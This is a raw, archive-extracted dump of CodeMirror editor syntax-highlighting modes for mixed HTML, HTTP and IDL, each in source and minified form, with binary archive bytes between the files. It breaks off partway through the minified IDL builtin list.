      if (!spec[0] || spec[1].test(getAttrValue(tagText, spec[0]))) return
spec[2];
    }
  }

  CodeMirror.defineMode("htmlmixed", function (config,
parserConfig) {
    var htmlMode = CodeMirror.getMode(config, {
      name: "xml",
      htmlMode: true,
      multilineTagIndentFactor: parserConfig.multilineTagIndentFactor,
      multilineTagIndentPastTag: parserConfig.multilineTagIndentPastTag
    });

    var tags = {};
    var configTags = parserConfig && parserConfig.tags,
configScript = parserConfig && parserConfig.scriptTypes;
    addTags(defaultTags, tags);
    if (configTags) addTags(configTags, tags);
    if (configScript) for (var i = configScript.length - 1; i >= 0; i--)
      tags.script.unshift(["type", configScript[i].matches,
configScript[i].mode])

    function html(stream, state) {
      var style = htmlMode.token(stream, state.htmlState), tag =
/\btag\b/.test(style), tagName
      if (tag && !/[<>\s\/]/.test(stream.current())
&&
          (tagName = state.htmlState.tagName &&
state.htmlState.tagName.toLowerCase()) &&
          tags.hasOwnProperty(tagName)) {
        state.inTag = tagName + " "
      } else if (state.inTag && tag &&
/>$/.test(stream.current())) {
        var inTag = /^([\S]+) (.*)/.exec(state.inTag)
        state.inTag = null
        var modeSpec = stream.current() == ">" &&
findMatchingMode(tags[inTag[1]], inTag[2])
        var mode = CodeMirror.getMode(config, modeSpec)
        var endTagA = getTagRegexp(inTag[1], true), endTag =
getTagRegexp(inTag[1], false);
        state.token = function (stream, state) {
          if (stream.match(endTagA, false)) {
            state.token = html;
            state.localState = state.localMode = null;
            return null;
          }
          return maybeBackup(stream, endTag, state.localMode.token(stream,
state.localState));
        };
        state.localMode = mode;
        state.localState = CodeMirror.startState(mode,
htmlMode.indent(state.htmlState, "", ""));
      } else if (state.inTag) {
        state.inTag += stream.current()
        if (stream.eol()) state.inTag += " "
      }
      return style;
    };

    return {
      startState: function () {
        var state = CodeMirror.startState(htmlMode);
        return {token: html, inTag: null, localMode: null, localState:
null, htmlState: state};
      },

      copyState: function (state) {
        var local;
        if (state.localState) {
          local = CodeMirror.copyState(state.localMode, state.localState);
        }
        return {token: state.token, inTag: state.inTag,
                localMode: state.localMode, localState: local,
                htmlState: CodeMirror.copyState(htmlMode,
state.htmlState)};
      },

      token: function (stream, state) {
        return state.token(stream, state);
      },

      indent: function (state, textAfter, line) {
        if (!state.localMode || /^\s*<\//.test(textAfter))
          return htmlMode.indent(state.htmlState, textAfter, line);
        else if (state.localMode.indent)
          return state.localMode.indent(state.localState, textAfter, line);
        else
          return CodeMirror.Pass;
      },

      innerMode: function (state) {
        return {state: state.localState || state.htmlState, mode:
state.localMode || htmlMode};
      }
    };
  }, "xml", "javascript", "css");

  CodeMirror.defineMIME("text/html", "htmlmixed");
});
PKH��[���WW*codemirror/mode/htmlmixed/htmlmixed.min.jsnu�[���!(function(a){"object"==typeof
exports&&"object"==typeof
module?a(require("../../lib/codemirror"),require("../xml/xml"),require("../javascript/javascript"),require("../css/css")):"function"==typeof
define&&define.amd?define(["../../lib/codemirror","../xml/xml","../javascript/javascript","../css/css"],a):a(CodeMirror)})((function(a){"use
strict";function b(a,b,c){var d=a.current(),e=d.search(b);return
e>-1?a.backUp(d.length-e):d.match(/<\/?$/)&&(a.backUp(d.length),a.match(b,!1)||a.match(d)),c}function
c(a){var b=i[a];return b||(i[a]=new
RegExp("\\s+"+a+"\\s*=\\s*('|\")?([^'\"]+)('|\")?\\s*"))}function
d(a,b){var d=a.match(c(b));return
d?/^\s*(.*?)\s*$/.exec(d[2])[1]:""}function e(a,b){return new
RegExp((b?"^":"")+"</s*"+a+"s*>","i")}function
f(a,b){for(var c in a)for(var
d=b[c]||(b[c]=[]),e=a[c],f=e.length-1;f>=0;f--)d.unshift(e[f])}function
g(a,b){for(var c=0;c<a.length;c++){var
e=a[c];if(!e[0]||e[1].test(d(b,e[0])))return e[2]}}var
h={script:[["lang",/(javascript|babel)/i,"javascript"],["type",/^(?:text|application)\/(?:x-)?(?:java|ecma)script$|^module$|^$/i,"javascript"],["type",/./,"text/plain"],[null,null,"javascript"]],style:[["lang",/^css$/i,"css"],["type",/^(text\/)?(x-)?(stylesheet|css)$/i,"css"],["type",/./,"text/plain"],[null,null,"css"]]},i={};a.defineMode("htmlmixed",(function(c,d){function
i(d,f){var
h,l=j.token(d,f.htmlState),m=/\btag\b/.test(l);if(m&&!/[<>\s\/]/.test(d.current())&&(h=f.htmlState.tagName&&f.htmlState.tagName.toLowerCase())&&k.hasOwnProperty(h))f.inTag=h+"
";else if(f.inTag&&m&&/>$/.test(d.current())){var
n=/^([\S]+) (.*)/.exec(f.inTag);f.inTag=null;var
o=">"==d.current()&&g(k[n[1]],n[2]),p=a.getMode(c,o),q=e(n[1],!0),r=e(n[1],!1);f.token=function(a,c){return
a.match(q,!1)?(c.token=i,c.localState=c.localMode=null,null):b(a,r,c.localMode.token(a,c.localState))},f.localMode=p,f.localState=a.startState(p,j.indent(f.htmlState,"",""))}else
f.inTag&&(f.inTag+=d.current(),d.eol()&&(f.inTag+="
"));return l}var
j=a.getMode(c,{name:"xml",htmlMode:!0,multilineTagIndentFactor:d.multilineTagIndentFactor,multilineTagIndentPastTag:d.multilineTagIndentPastTag}),k={},l=d&&d.tags,m=d&&d.scriptTypes;if(f(h,k),l&&f(l,k),m)for(var
n=m.length-1;n>=0;n--)k.script.unshift(["type",m[n].matches,m[n].mode]);return{startState:function(){return{token:i,inTag:null,localMode:null,localState:null,htmlState:a.startState(j)}},copyState:function(b){var
c;return
b.localState&&(c=a.copyState(b.localMode,b.localState)),{token:b.token,inTag:b.inTag,localMode:b.localMode,localState:c,htmlState:a.copyState(j,b.htmlState)}},token:function(a,b){return
b.token(a,b)},indent:function(b,c,d){return!b.localMode||/^\s*<\//.test(c)?j.indent(b.htmlState,c,d):b.localMode.indent?b.localMode.indent(b.localState,c,d):a.Pass},innerMode:function(a){return{state:a.localState||a.htmlState,mode:a.localMode||j}}}}),"xml","javascript","css"),a.defineMIME("text/html","htmlmixed")}));PKH��[�]*��
�
codemirror/mode/http/http.jsnu�[���// CodeMirror, copyright (c)
by Marijn Haverbeke and others
// Distributed under an MIT license: https://codemirror.net/LICENSE

(function(mod) {
  if (typeof exports == "object" && typeof module ==
"object") // CommonJS
    mod(require("../../lib/codemirror"));
  else if (typeof define == "function" && define.amd) //
AMD
    define(["../../lib/codemirror"], mod);
  else // Plain browser env
    mod(CodeMirror);
})(function(CodeMirror) {
"use strict";

CodeMirror.defineMode("http", function() {
  function failFirstLine(stream, state) {
    stream.skipToEnd();
    state.cur = header;
    return "error";
  }

  function start(stream, state) {
    if (stream.match(/^HTTP\/\d\.\d/)) {
      state.cur = responseStatusCode;
      return "keyword";
    } else if (stream.match(/^[A-Z]+/) && /[
\t]/.test(stream.peek())) {
      state.cur = requestPath;
      return "keyword";
    } else {
      return failFirstLine(stream, state);
    }
  }

  function responseStatusCode(stream, state) {
    var code = stream.match(/^\d+/);
    if (!code) return failFirstLine(stream, state);

    state.cur = responseStatusText;
    var status = Number(code[0]);
    if (status >= 100 && status < 200) {
      return "positive informational";
    } else if (status >= 200 && status < 300) {
      return "positive success";
    } else if (status >= 300 && status < 400) {
      return "positive redirect";
    } else if (status >= 400 && status < 500) {
      return "negative client-error";
    } else if (status >= 500 && status < 600) {
      return "negative server-error";
    } else {
      return "error";
    }
  }

  function responseStatusText(stream, state) {
    stream.skipToEnd();
    state.cur = header;
    return null;
  }

  function requestPath(stream, state) {
    stream.eatWhile(/\S/);
    state.cur = requestProtocol;
    return "string-2";
  }

  function requestProtocol(stream, state) {
    if (stream.match(/^HTTP\/\d\.\d$/)) {
      state.cur = header;
      return "keyword";
    } else {
      return failFirstLine(stream, state);
    }
  }

  function header(stream) {
    if (stream.sol() && !stream.eat(/[ \t]/)) {
      if (stream.match(/^.*?:/)) {
        return "atom";
      } else {
        stream.skipToEnd();
        return "error";
      }
    } else {
      stream.skipToEnd();
      return "string";
    }
  }

  function body(stream) {
    stream.skipToEnd();
    return null;
  }

  return {
    token: function(stream, state) {
      var cur = state.cur;
      if (cur != header && cur != body &&
stream.eatSpace()) return null;
      return cur(stream, state);
    },

    blankLine: function(state) {
      state.cur = body;
    },

    startState: function() {
      return {cur: start};
    }
  };
});

CodeMirror.defineMIME("message/http", "http");

});
PKH��[�F��
codemirror/mode/http/http.min.jsnu�[���!(function(a){"object"==typeof
exports&&"object"==typeof
module?a(require("../../lib/codemirror")):"function"==typeof
define&&define.amd?define(["../../lib/codemirror"],a):a(CodeMirror)})((function(a){"use
strict";a.defineMode("http",(function(){function
a(a,b){return a.skipToEnd(),b.cur=g,"error"}function
b(b,d){return
b.match(/^HTTP\/\d\.\d/)?(d.cur=c,"keyword"):b.match(/^[A-Z]+/)&&/[
\t]/.test(b.peek())?(d.cur=e,"keyword"):a(b,d)}function
c(b,c){var e=b.match(/^\d+/);if(!e)return a(b,c);c.cur=d;var
f=Number(e[0]);return f>=100&&f<200?"positive
informational":f>=200&&f<300?"positive
success":f>=300&&f<400?"positive
redirect":f>=400&&f<500?"negative
client-error":f>=500&&f<600?"negative
server-error":"error"}function d(a,b){return
a.skipToEnd(),b.cur=g,null}function e(a,b){return
a.eatWhile(/\S/),b.cur=f,"string-2"}function f(b,c){return
b.match(/^HTTP\/\d\.\d$/)?(c.cur=g,"keyword"):a(b,c)}function
g(a){return a.sol()&&!a.eat(/[
\t]/)?a.match(/^.*?:/)?"atom":(a.skipToEnd(),"error"):(a.skipToEnd(),"string")}function
h(a){return a.skipToEnd(),null}return{token:function(a,b){var
c=b.cur;return
c!=g&&c!=h&&a.eatSpace()?null:c(a,b)},blankLine:function(a){a.cur=h},startState:function(){return{cur:b}}}})),a.defineMIME("message/http","http")}));PKH��[���*:*:codemirror/mode/idl/idl.jsnu�[���//
CodeMirror, copyright (c) by Marijn Haverbeke and others
// Distributed under an MIT license: https://codemirror.net/LICENSE

(function(mod) {
  if (typeof exports == "object" && typeof module ==
"object") // CommonJS
    mod(require("../../lib/codemirror"));
  else if (typeof define == "function" && define.amd) //
AMD
    define(["../../lib/codemirror"], mod);
  else // Plain browser env
    mod(CodeMirror);
})(function(CodeMirror) {
  "use strict";

  function wordRegexp(words) {
    return new RegExp('^((' + words.join(')|(') +
'))\\b', 'i');
  };

  var builtinArray = [
    'a_correlate', 'abs', 'acos',
'adapt_hist_equal', 'alog',
    'alog2', 'alog10', 'amoeba',
'annotate', 'app_user_dir',
    'app_user_dir_query', 'arg_present',
'array_equal', 'array_indices',
    'arrow', 'ascii_template', 'asin',
'assoc', 'atan',
    'axis', 'axis', 'bandpass_filter',
'bandreject_filter', 'barplot',
    'bar_plot', 'beseli', 'beselj',
'beselk', 'besely',
    'beta', 'biginteger', 'bilinear',
'bin_date', 'binary_template',
    'bindgen', 'binomial', 'bit_ffs',
'bit_population', 'blas_axpy',
    'blk_con', 'boolarr', 'boolean',
'boxplot', 'box_cursor',
    'breakpoint', 'broyden', 'bubbleplot',
'butterworth', 'bytarr',
    'byte', 'byteorder', 'bytscl',
'c_correlate', 'calendar',
    'caldat', 'call_external',
'call_function', 'call_method',
    'call_procedure', 'canny', 'catch',
'cd', 'cdf', 'ceil',
    'chebyshev', 'check_math', 'chisqr_cvf',
'chisqr_pdf', 'choldc',
    'cholsol', 'cindgen', 'cir_3pnt',
'clipboard', 'close',
    'clust_wts', 'cluster', 'cluster_tree',
'cmyk_convert', 'code_coverage',
    'color_convert', 'color_exchange',
'color_quan', 'color_range_map',
    'colorbar', 'colorize_sample',
'colormap_applicable',
    'colormap_gradient', 'colormap_rotation',
'colortable',
    'comfit', 'command_line_args', 'common',
'compile_opt', 'complex',
    'complexarr', 'complexround',
'compute_mesh_normals', 'cond', 'congrid',
    'conj', 'constrained_min', 'contour',
'contour', 'convert_coord',
    'convol', 'convol_fft', 'coord2to3',
'copy_lun', 'correlate',
    'cos', 'cosh', 'cpu', 'cramer',
'createboxplotdata',
    'create_cursor', 'create_struct',
'create_view', 'crossp', 'crvlength',
    'ct_luminance', 'cti_test', 'cursor',
'curvefit', 'cv_coord',
    'cvttobm', 'cw_animate',
'cw_animate_getp', 'cw_animate_load',
    'cw_animate_run', 'cw_arcball',
'cw_bgroup', 'cw_clr_index',
    'cw_colorsel', 'cw_defroi', 'cw_field',
'cw_filesel', 'cw_form',
    'cw_fslider', 'cw_light_editor',
'cw_light_editor_get',
    'cw_light_editor_set', 'cw_orient',
'cw_palette_editor',
    'cw_palette_editor_get', 'cw_palette_editor_set',
'cw_pdmenu',
    'cw_rgbslider', 'cw_tmpl', 'cw_zoom',
'db_exists',
    'dblarr', 'dcindgen', 'dcomplex',
'dcomplexarr', 'define_key',
    'define_msgblk', 'define_msgblk_from_file',
'defroi', 'defsysv',
    'delvar', 'dendro_plot', 'dendrogram',
'deriv', 'derivsig',
    'determ', 'device', 'dfpmin',
'diag_matrix', 'dialog_dbconnect',
    'dialog_message', 'dialog_pickfile',
'dialog_printersetup',
    'dialog_printjob', 'dialog_read_image',
    'dialog_write_image', 'dictionary',
'digital_filter', 'dilate', 'dindgen',
    'dissolve', 'dist', 'distance_measure',
'dlm_load', 'dlm_register',
    'doc_library', 'double', 'draw_roi',
'edge_dog', 'efont',
    'eigenql', 'eigenvec', 'ellipse',
'elmhes', 'emboss',
    'empty', 'enable_sysrtn', 'eof',
'eos', 'erase',
    'erf', 'erfc', 'erfcx',
'erode', 'errorplot',
    'errplot', 'estimator_filter', 'execute',
'exit', 'exp',
    'expand', 'expand_path', 'expint',
'extrac', 'extract_slice',
    'f_cvf', 'f_pdf', 'factorial',
'fft', 'file_basename',
    'file_chmod', 'file_copy', 'file_delete',
'file_dirname',
    'file_expand_path', 'file_gunzip',
'file_gzip', 'file_info',
    'file_lines', 'file_link', 'file_mkdir',
'file_move',
    'file_poll_input', 'file_readlink',
'file_same',
    'file_search', 'file_tar', 'file_test',
'file_untar', 'file_unzip',
    'file_which', 'file_zip', 'filepath',
'findgen', 'finite',
    'fix', 'flick', 'float',
'floor', 'flow3',
    'fltarr', 'flush', 'format_axis_values',
'forward_function', 'free_lun',
    'fstat', 'fulstr', 'funct',
'function', 'fv_test',
    'fx_root', 'fz_roots', 'gamma',
'gamma_ct', 'gauss_cvf',
    'gauss_pdf', 'gauss_smooth',
'gauss2dfit', 'gaussfit',
    'gaussian_function', 'gaussint',
'get_drive_list', 'get_dxf_objects',
    'get_kbrd', 'get_login_info',
    'get_lun', 'get_screen_size', 'getenv',
'getwindows', 'greg2jul',
    'grib', 'grid_input', 'grid_tps',
'grid3', 'griddata',
    'gs_iter', 'h_eq_ct', 'h_eq_int',
'hanning', 'hash',
    'hdf', 'hdf5', 'heap_free',
'heap_gc', 'heap_nosave',
    'heap_refcount', 'heap_save', 'help',
'hilbert', 'hist_2d',
    'hist_equal', 'histogram', 'hls',
'hough', 'hqr',
    'hsv', 'i18n_multibytetoutf8',
    'i18n_multibytetowidechar', 'i18n_utf8tomultibyte',
    'i18n_widechartomultibyte',
    'ibeta', 'icontour', 'iconvertcoord',
'idelete', 'identity',
    'idl_base64', 'idl_container',
'idl_validname',
    'idlexbr_assistant', 'idlitsys_createtool',
    'idlunit', 'iellipse', 'igamma',
'igetcurrent', 'igetdata',
    'igetid', 'igetproperty', 'iimage',
'image', 'image_cont',
    'image_statistics', 'image_threshold',
'imaginary', 'imap', 'indgen',
    'int_2d', 'int_3d', 'int_tabulated',
'intarr', 'interpol',
    'interpolate', 'interval_volume',
'invert', 'ioctl', 'iopen',
    'ir_filter', 'iplot', 'ipolygon',
'ipolyline', 'iputdata',
    'iregister', 'ireset', 'iresolve',
'irotate', 'isa',
    'isave', 'iscale', 'isetcurrent',
'isetproperty', 'ishft',
    'isocontour', 'isosurface', 'isurface',
'itext', 'itranslate',
    'ivector', 'ivolume', 'izoom',
'journal', 'json_parse',
    'json_serialize', 'jul2greg', 'julday',
'keyword_set', 'krig2d',
    'kurtosis', 'kw_test', 'l64indgen',
'la_choldc', 'la_cholmprove',
    'la_cholsol', 'la_determ',
'la_eigenproblem', 'la_eigenql',
'la_eigenvec',
    'la_elmhes', 'la_gm_linear_model',
'la_hqr', 'la_invert',
    'la_least_square_equality', 'la_least_squares',
'la_linear_equation',
    'la_ludc', 'la_lumprove', 'la_lusol',
    'la_svd', 'la_tridc', 'la_trimprove',
'la_triql', 'la_trired',
    'la_trisol', 'label_date',
'label_region', 'ladfit', 'laguerre',
    'lambda', 'lambdap', 'lambertw',
'laplacian', 'least_squares_filter',
    'leefilt', 'legend', 'legendre',
'linbcg', 'lindgen',
    'linfit', 'linkimage', 'list',
'll_arc_distance', 'lmfit',
    'lmgr', 'lngamma', 'lnp_test',
'loadct', 'locale_get',
    'logical_and', 'logical_or',
'logical_true', 'lon64arr', 'lonarr',
    'long', 'long64', 'lsode',
'lu_complex', 'ludc',
    'lumprove', 'lusol', 'm_correlate',
'machar', 'make_array',
    'make_dll', 'make_rt', 'map',
'mapcontinents', 'mapgrid',
    'map_2points', 'map_continents',
'map_grid', 'map_image', 'map_patch',
    'map_proj_forward', 'map_proj_image',
'map_proj_info',
    'map_proj_init', 'map_proj_inverse',
    'map_set', 'matrix_multiply',
'matrix_power', 'max', 'md_test',
    'mean', 'meanabsdev', 'mean_filter',
'median', 'memory',
    'mesh_clip', 'mesh_decimate',
'mesh_issolid',
    'mesh_merge', 'mesh_numtriangles',
    'mesh_obj', 'mesh_smooth',
'mesh_surfacearea',
    'mesh_validate', 'mesh_volume',
    'message', 'min', 'min_curve_surf',
'mk_html_help', 'modifyct',
    'moment', 'morph_close',
'morph_distance',
    'morph_gradient', 'morph_hitormiss',
    'morph_open', 'morph_thin',
'morph_tophat', 'multi', 'n_elements',
    'n_params', 'n_tags', 'ncdf',
'newton', 'noise_hurl',
    'noise_pick', 'noise_scatter',
'noise_slur', 'norm', 'obj_class',
    'obj_destroy', 'obj_hasmethod',
'obj_isa', 'obj_new', 'obj_valid',
    'objarr', 'on_error', 'on_ioerror',
'online_help', 'openr',
    'openu', 'openw', 'oplot',
'oploterr', 'orderedhash',
    'p_correlate', 'parse_url',
'particle_trace', 'path_cache', 'path_sep',
    'pcomp', 'plot', 'plot3d',
'plot', 'plot_3dbox',
    'plot_field', 'ploterr', 'plots',
'polar_contour', 'polar_surface',
    'polyfill', 'polyshade', 'pnt_line',
'point_lun', 'polarplot',
    'poly', 'poly_2d', 'poly_area',
'poly_fit', 'polyfillv',
    'polygon', 'polyline', 'polywarp',
'popd', 'powell',
    'pref_commit', 'pref_get', 'pref_set',
'prewitt', 'primes',
    'print', 'printf', 'printd',
'pro', 'product',
    'profile', 'profiler', 'profiles',
'project_vol', 'ps_show_fonts',
    'psafm', 'pseudo', 'ptr_free',
'ptr_new', 'ptr_valid',
    'ptrarr', 'pushd', 'qgrid3',
'qhull', 'qromb',
    'qromo', 'qsimp', 'query_*',
'query_ascii', 'query_bmp',
    'query_csv', 'query_dicom', 'query_gif',
'query_image', 'query_jpeg',
    'query_jpeg2000', 'query_mrsid',
'query_pict', 'query_png', 'query_ppm',
    'query_srf', 'query_tiff', 'query_video',
'query_wav', 'r_correlate',
    'r_test', 'radon', 'randomn',
'randomu', 'ranks',
    'rdpix', 'read', 'readf',
'read_ascii', 'read_binary',
    'read_bmp', 'read_csv', 'read_dicom',
'read_gif', 'read_image',
    'read_interfile', 'read_jpeg',
'read_jpeg2000', 'read_mrsid', 'read_pict',
    'read_png', 'read_ppm', 'read_spr',
'read_srf', 'read_sylk',
    'read_tiff', 'read_video', 'read_wav',
'read_wave', 'read_x11_bitmap',
    'read_xwd', 'reads', 'readu',
'real_part', 'rebin',
    'recall_commands', 'recon3',
'reduce_colors', 'reform', 'region_grow',
    'register_cursor', 'regress',
'replicate',
    'replicate_inplace', 'resolve_all',
    'resolve_routine', 'restore', 'retall',
'return', 'reverse',
    'rk4', 'roberts', 'rot',
'rotate', 'round',
    'routine_filepath', 'routine_info',
'rs_test', 's_test', 'save',
    'savgol', 'scale3', 'scale3d',
'scatterplot', 'scatterplot3d',
    'scope_level', 'scope_traceback',
'scope_varfetch',
    'scope_varname', 'search2d',
    'search3d', 'sem_create', 'sem_delete',
'sem_lock', 'sem_release',
    'set_plot', 'set_shading', 'setenv',
'sfit', 'shade_surf',
    'shade_surf_irr', 'shade_volume',
'shift', 'shift_diff', 'shmdebug',
    'shmmap', 'shmunmap', 'shmvar',
'show3', 'showfont',
    'signum', 'simplex', 'sin',
'sindgen', 'sinh',
    'size', 'skewness', 'skip_lun',
'slicer3', 'slide_image',
    'smooth', 'sobel', 'socket',
'sort', 'spawn',
    'sph_4pnt', 'sph_scat', 'spher_harm',
'spl_init', 'spl_interp',
    'spline', 'spline_p', 'sprsab',
'sprsax', 'sprsin',
    'sprstp', 'sqrt', 'standardize',
'stddev', 'stop',
    'strarr', 'strcmp', 'strcompress',
'streamline', 'streamline',
    'stregex', 'stretch', 'string',
'strjoin', 'strlen',
    'strlowcase', 'strmatch', 'strmessage',
'strmid', 'strpos',
    'strput', 'strsplit', 'strtrim',
'struct_assign', 'struct_hide',
    'strupcase', 'surface', 'surface',
'surfr', 'svdc',
    'svdfit', 'svsol', 'swap_endian',
'swap_endian_inplace', 'symbol',
    'systime', 't_cvf', 't_pdf',
't3d', 'tag_names',
    'tan', 'tanh', 'tek_color',
'temporary', 'terminal_size',
    'tetra_clip', 'tetra_surface',
'tetra_volume', 'text', 'thin',
    'thread', 'threed', 'tic',
'time_test2', 'timegen',
    'timer', 'timestamp',
'timestamptovalues', 'tm_test', 'toc',
    'total', 'trace', 'transpose',
'tri_surf', 'triangulate',
    'trigrid', 'triql', 'trired',
'trisol', 'truncate_lun',
    'ts_coef', 'ts_diff', 'ts_fcast',
'ts_smooth', 'tv',
    'tvcrs', 'tvlct', 'tvrd',
'tvscl', 'typename',
    'uindgen', 'uint', 'uintarr',
'ul64indgen', 'ulindgen',
    'ulon64arr', 'ulonarr', 'ulong',
'ulong64', 'uniq',
    'unsharp_mask', 'usersym',
'value_locate', 'variance', 'vector',
    'vector_field', 'vel', 'velovect',
'vert_t3d', 'voigt',
    'volume', 'voronoi', 'voxel_proj',
'wait', 'warp_tri',
    'watershed', 'wdelete', 'wf_draw',
'where', 'widget_base',
    'widget_button', 'widget_combobox',
'widget_control',
    'widget_displaycontextmenu', 'widget_draw',
    'widget_droplist', 'widget_event',
'widget_info',
    'widget_label', 'widget_list',
    'widget_propertysheet', 'widget_slider',
'widget_tab',
    'widget_table', 'widget_text',
    'widget_tree', 'widget_tree_move',
'widget_window',
    'wiener_filter', 'window',
    'window', 'write_bmp', 'write_csv',
'write_gif', 'write_image',
    'write_jpeg', 'write_jpeg2000',
'write_nrif', 'write_pict', 'write_png',
    'write_ppm', 'write_spr', 'write_srf',
'write_sylk', 'write_tiff',
    'write_video', 'write_wav', 'write_wave',
'writeu', 'wset',
    'wshow', 'wtn', 'wv_applet',
'wv_cwt', 'wv_cw_wavelet',
    'wv_denoise', 'wv_dwt', 'wv_fn_coiflet',
    'wv_fn_daubechies', 'wv_fn_gaussian',
    'wv_fn_haar', 'wv_fn_morlet',
'wv_fn_paul',
    'wv_fn_symlet', 'wv_import_data',
    'wv_import_wavelet', 'wv_plot3d_wps',
'wv_plot_multires',
    'wv_pwt', 'wv_tool_denoise',
    'xbm_edit', 'xdisplayfile', 'xdxf',
'xfont', 'xinteranimate',
    'xloadct', 'xmanager', 'xmng_tmpl',
'xmtool', 'xobjview',
    'xobjview_rotate', 'xobjview_write_image',
    'xpalette', 'xpcolor', 'xplot3d',
    'xregistered', 'xroi', 'xsq_test',
'xsurface', 'xvaredit',
    'xvolume', 'xvolume_rotate',
'xvolume_write_image',
    'xyouts', 'zlib_compress',
'zlib_uncompress', 'zoom', 'zoom_24'
  ];
  var builtins = wordRegexp(builtinArray);

  var keywordArray = [
    'begin', 'end', 'endcase',
'endfor',
    'endwhile', 'endif', 'endrep',
'endforeach',
    'break', 'case', 'continue',
'for',
    'foreach', 'goto', 'if',
'then', 'else',
    'repeat', 'until', 'switch',
'while',
    'do', 'pro', 'function'
  ];
  var keywords = wordRegexp(keywordArray);

  CodeMirror.registerHelper("hintWords", "idl",
builtinArray.concat(keywordArray));

  var identifiers = new
RegExp('^[_a-z\xa1-\uffff][_a-z0-9\xa1-\uffff]*', 'i');

  var singleOperators = /[+\-*&=<>\/@#~$]/;
  var boolOperators = new
RegExp('(and|or|eq|lt|le|gt|ge|ne|not)', 'i');

  function tokenBase(stream) {
    // whitespaces
    if (stream.eatSpace()) return null;

    // Handle one line Comments
    if (stream.match(';')) {
      stream.skipToEnd();
      return 'comment';
    }

    // Handle Number Literals
    if (stream.match(/^[0-9\.+-]/, false)) {
      if (stream.match(/^[+-]?0x[0-9a-fA-F]+/))
        return 'number';
      if (stream.match(/^[+-]?\d*\.\d+([EeDd][+-]?\d+)?/))
        return 'number';
      if (stream.match(/^[+-]?\d+([EeDd][+-]?\d+)?/))
        return 'number';
    }

    // Handle Strings
    if (stream.match(/^"([^"]|(""))*"/)) { return
'string'; }
    if (stream.match(/^'([^']|(''))*'/)) { return
'string'; }

    // Handle words
    if (stream.match(keywords)) { return 'keyword'; }
    if (stream.match(builtins)) { return 'builtin'; }
    if (stream.match(identifiers)) { return 'variable'; }

    if (stream.match(singleOperators) || stream.match(boolOperators)) {
      return 'operator'; }

    // Handle non-detected items
    stream.next();
    return null;
  };

  CodeMirror.defineMode('idl', function() {
    return {
      token: function(stream) {
        return tokenBase(stream);
      }
    };
  });

  CodeMirror.defineMIME('text/x-idl', 'idl');
});
PKH��[�Ѭ�.�.codemirror/mode/idl/idl.min.jsnu�[���!(function(a){"object"==typeof
exports&&"object"==typeof
module?a(require("../../lib/codemirror")):"function"==typeof
define&&define.amd?define(["../../lib/codemirror"],a):a(CodeMirror)})((function(a){"use
strict";function b(a){return new
RegExp("^(("+a.join(")|(")+"))\\b","i")}function
c(a){if(a.eatSpace())return null;if(a.match(";"))return
a.skipToEnd(),"comment";if(a.match(/^[0-9\.+-]/,!1)){if(a.match(/^[+-]?0x[0-9a-fA-F]+/))return"number";if(a.match(/^[+-]?\d*\.\d+([EeDd][+-]?\d+)?/))return"number";if(a.match(/^[+-]?\d+([EeDd][+-]?\d+)?/))return"number"}return
a.match(/^"([^"]|(""))*"/)?"string":a.match(/^'([^']|(''))*'/)?"string":a.match(g)?"keyword":a.match(e)?"builtin":a.match(h)?"variable":a.match(i)||a.match(j)?"operator":(a.next(),null)}var
d=["a_correlate","abs","acos","adapt_hist_equal","alog","alog2","alog10","amoeba","annotate","app_user_dir","app_user_dir_query","arg_present","array_equal","array_indices","arrow","ascii_template","asin","assoc","atan","axis","axis","bandpass_filter","bandreject_filter","barplot","bar_plot","beseli","beselj","beselk","besely","beta","biginteger","bilinear","bin_date","binary_template","bindgen","binomial","bit_ffs","bit_population","blas_axpy","blk_con","boolarr","boolean","boxplot","box_cursor","breakpoint","broyden","bubbleplot","butterworth","bytarr","byte","byteorder","bytscl","c_correlate","calendar","caldat","call_external","call_function","call_method","call_procedure","canny","catch","cd","cdf","ceil","chebyshev","check_math","chisqr_cvf","chisqr_pdf","choldc","cholsol","cindgen","cir_3pnt","clipboard","close","clust_wts","cluster","cluster_tree","cmyk_convert","code_coverage","color_convert","color_exchange","color_quan","color_range_map","colorbar","colorize_sample","colormap_applicable","colormap_gradient","colormap_rotation","colortable","comfit","command_line_args","common","compile_opt","complex","complexarr","complexround","compute_mesh_normals","cond","congrid","conj","constrained_min","contour","contour","convert_coord","convol","convol_fft","coord2to3","copy_lun","correlate","cos","cosh","cpu","cramer","createboxplotdata","create_cursor","create_struct","create_view","crossp","crvlength","ct_luminance","cti_test","cursor","curvefit","cv_coord","cvttobm","cw_animate","cw_animate_getp","cw_animate_load","cw_animate_run","cw_arcball","cw_bgroup","cw_clr_index","cw_colorsel","cw_defroi","cw_field","cw_filesel","cw_form","cw_fslider","cw_light_editor","cw_light_editor_get","cw_light_editor_set","cw_orient","cw_palette_editor","cw_palette_editor_get","cw_palette_editor_set","cw_pdmenu","cw_rgbslider","cw_tmpl","cw_zoom","db_exists","dblarr","dcindgen","dcomplex","dcomplexarr","define_key","define_msgblk","define_msgblk_from_file","defroi","defsysv","delvar","dendro_plot","dendrogram","deriv","derivsig","determ","device","dfpmin","diag_matrix","dialog_dbconnect","dialog_message","dialog_pickfile","dialog_printersetup","dialog_printjob","dialog_read_image","dialog_write_image","dictionary","digital_filter","dilate","dindgen","dissolve","dist","distance_measure","dlm_load","dlm_register","doc_library","double","draw_roi","edge_dog","efont","eigenql","eigenvec","ellipse","elmhes","emboss","empty","enable_sysrtn","eof","eos","erase","erf","erfc","erfcx","erode","errorplot","errplot","estimator_filter","execute","exit","exp","expand","expand_path","expint","extrac","extract_slice","f_cvf","f_pdf","factorial","fft","file_basename","file_chmod","file_copy","file_delete","file_dirname","file_expand_path","file_gunzip","file_gzip","file_info","file_lines","file_link","file_mkdir","file_move","file_poll_input","file_readlink","file_same","file_search","file_tar","file_test","file_untar","file_unzip","file_which","file_zip","filepath","findgen","finite","fix","flick","float","floor","flow3","fltarr","flush","format_axis_values","forward_function","free_lun","fstat","fulstr","funct","function","fv_test","fx_root","fz_roots","gamma","gamma_ct","gauss_cvf","gauss_pdf","gauss_smooth","gauss2dfit","gaussfit","gaussian_function","gaussint","get_drive_list","get_dxf_objects","get_kbrd","get_login_info","get_lun","get_screen_size","getenv","getwindows","greg2jul","grib","grid_input","grid_tps","grid3","griddata","gs_iter","h_eq_ct","h_eq_int","hanning","hash","hdf","hdf5","heap_free","heap_gc","heap_nosave","heap_refcount","heap_save","help","hilbert","hist_2d","hist_equal","histogram","hls","hough","hqr","hsv","i18n_multibytetoutf8","i18n_multibytetowidechar","i18n_utf8tomultibyte","i18n_widechartomultibyte","ibeta","icontour","iconvertcoord","ide